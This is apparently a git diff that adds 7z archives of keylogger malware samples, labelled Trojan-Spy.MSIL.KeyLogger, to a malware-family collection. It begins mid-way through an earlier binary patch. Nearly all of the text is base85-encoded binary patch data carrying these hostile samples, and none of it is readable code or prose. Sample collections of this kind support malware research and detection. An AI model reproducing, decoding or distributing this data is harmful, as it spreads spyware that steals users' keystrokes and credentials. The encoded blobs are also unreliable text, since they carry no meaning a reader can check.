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 G2l_w2CJhDv literal 0 HcmV?d00001 diff --git a/Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.irg.7z b/Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.irg.7z new file mode 100644 index 0000000000000000000000000000000000000000..67d669aeb9b9fa31dbb68226ef0f2ef914536b50 GIT binary patch literal 4905 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 hMe=u$Dv@)xX literal 0 HcmV?d00001 diff --git a/Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.jfp-a.7z b/Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.jfp-a.7z new file mode 100644 index 0000000000000000000000000000000000000000..490de3d3657de6e9c2f9f04498546b82debe853d GIT binary patch literal 19488 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 